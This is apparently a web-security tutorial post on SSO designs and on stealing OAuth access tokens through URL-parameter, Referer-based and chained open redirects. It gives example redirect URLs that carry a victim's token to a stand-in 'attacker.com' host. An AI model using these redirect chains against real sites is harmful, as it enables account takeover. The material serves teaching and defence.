Stealing OAuth Tokens With Open Redirects
SSO is a feature that allows users to access multiple services belonging to the same organization without logging in multiple times. For example, if you are logged into “facebook.com”, you won’t have to re-enter your credentials to use the services of “messenger.com”. This way, companies with many web services can manage a centralized source of user credentials instead of keeping track of users for each site. And, users won’t need to log in multiple times when using the different services provided by the same company. Cookie sharing, SAML, and OAuth are the three most common ways of implementing SSO.
Cooking Sharing Between Subdomains (Shared-session SSO)
One way that applications can implement SSO is by sharing cookies across subdomains. Browser cookies can be shared across subdomains if their “domain” flag is set to a common parent domain. In this case, the cookie will be sent for any subdomain of “facebook.com”.
Set-Cookie: cookie=abc123; Domain=facebook.com; Secure; HttpOnly
This is the simplest SSO setup. But, with its simplicity, this approach also comes with a unique set of vulnerabilities. The Achilles’ heel of cookie sharing is subdomain integrity. If attackers can steal the shared session cookie by compromising a single subdomain, all the SSO sites would be at risk. Usually, hackers steal the session cookies by finding a subdomain takeover, RCE, XSS, or any other vulnerability that would expose the user’s cookie. Because the compromise of a single subdomain can mean a total compromise of the entire SSO system, using shared cookies as an SSO mechanism greatly widens the attack surface for each individual service.
Another common SSO mechanism is SAML. SAML enables SSO by facilitating information exchange between three parties: the user, the identity provider, and the service provider. The user obtains an identity assertion from the identity provider and uses that to authenticate to the service provider. Since the identity assertion is used to prove the identity of the user, its integrity is critical. Applications sign these identity assertions to ensure that no one can tamper with them. SAML can be secure if the SAML signature is implemented correctly. However, its security breaks apart if attackers can find a way to bypass the signature validation.
Finally, OAuth is a way of granting access to certain user resources without providing a password. It is essentially a way for users to grant scope specific access tokens to service providers through an identity provider. Hackers bypass OAuth protection by stealing access tokens through open redirects. Today, we are going to explore how this attack works.
The OAuth Authorization Flow
OAuth improves security by managing credentials in one single place. Within an OAuth system, the only place that stores the user’s credentials is the identity provider. When you log into an application using OAuth, the application (or the “service provider”) requests access to resources from the identity provider. These resources might include your email address, contacts, birthdate, and anything else that is needed (this is called “scope”). The first request that the service provider will send is the request for an authorizationation_code. This request will include the service provider’s client_id, a redirect_uri, a scope list, and a state (essentially a CSRF token).
identity.com/oauth? client_id=CLIENT_ID &response_type=code &state=STATE &redirect_uri=https://example.com/callback &scope=email
Then, the identity provider will ask the user to grant access to the service provider, typically via a pop-up window. After the user agrees to the permissions that the service provider asks for, the identity provider will send the redirect_uri an authorization code.
The service provider can then receive an access token from the identity provider using the authorization code, along with their client ID and secret.
identity.com/oauth/token? grant_type=authorization_code &client_id=CLIENT_ID &client_secret=CLIENT_SECRET &redirect_uri=https://example.com/callback &code=abc123
The identity provider will return an access_token, which can be used to access the user’s resources.
Sites often have HTTP parameters or URL parameters that cause the web application to redirect to a specified URL without any user action. Open redirects are a type of vulnerability that happen when an attacker can manipulate the value of this parameter and cause users to be redirected offsite. A common scenario is when a website redirects users to their original location after login. When a user visits their dashboard at “https://example.com/dashboard” but is not logged in, the application redirects them to the login page. Then, it will redirect the user to their dashboard located at https://example.com/dashboard after they log in.
During an open redirect attack, users are unintentionally redirected to an external site.
Another common open redirect technique is the referer-based open redirect. Some sites will redirect to the Referer automatically after certain user actions, like login or logout. In this case, attackers can set the Referer header of the request by making the victim visit the target site from an attacker site.
On the attacker's site: <a href="https://example.com/login">Click here to login to example.com</a>
Stealing Access Tokens Using Open Redirects
So how do open redirects help attackers steal OAuth tokens? OAuth token thefts rely on the manipulation of the “redirect_uri” parameter to steal the access token from the victim’s account. With the deprecated Implicit flow, access tokens are often communicated via a URL location fragment, which survives all cross-domain redirects. So if an attacker can make the OAuth flow redirect to the attacker’s domain, they can steal the access token from the URL hash and gain access to the user’s account.
URL Parameter Open Redirect
One way of redirecting the OAuth flow is through a URL parameter based open redirect.
For example, using this URL as the redirect_uri will cause the flow to redirect to the callback URL first, then to the attacker’s domain.
Referer Based Open Redirect
Another way of redirecting the OAuth flow is through a Referer-based open redirect. In this case, the attacker would have to set up the Referer header by initiating the OAuth flow from their own domain.
<a href="https://example.com/login_via_facebook">Click here to login to example.com</a>
This will cause the flow to redirect to the callback URL first, then to the attacker’s domain via Referer.
https://example.com/callback?#access_token=xyz123 https://attacker.com/example.com?#access_token=xyz123 (Redirected to Referer)
Open Redirect Chains
Even when attackers cannot find an open redirect on the OAuth endpoint itself, they can still smuggle the tokens offsite if they can find an “open redirect chain”. For example, let’s say the redirect_uri parameter permits only further redirects to URLs that are under the example.com domain. If attackers can find an open redirect within the example.com domain, they can still steal OAuth tokens via redirects. Let’s say that there is an unfixed open redirect on the logout endpoint of example.com.
By utilizing this open redirect, the attacker can form an “open redirect chain” to eventually smuggle the token offsite.
This will cause the flow to redirect to the callback URL first, then to the attacker’s domain.
https://example.com/callback?next=example.com/logout?next=attacker.com#access_token=xyz123 https://example.com/logout?next=attacker.com#access_token=xyz123 https://attacker.com#access_token=xyz123
Thanks for reading! Next time, we dive into open redirect vulnerabilities and why they are so hard to prevent.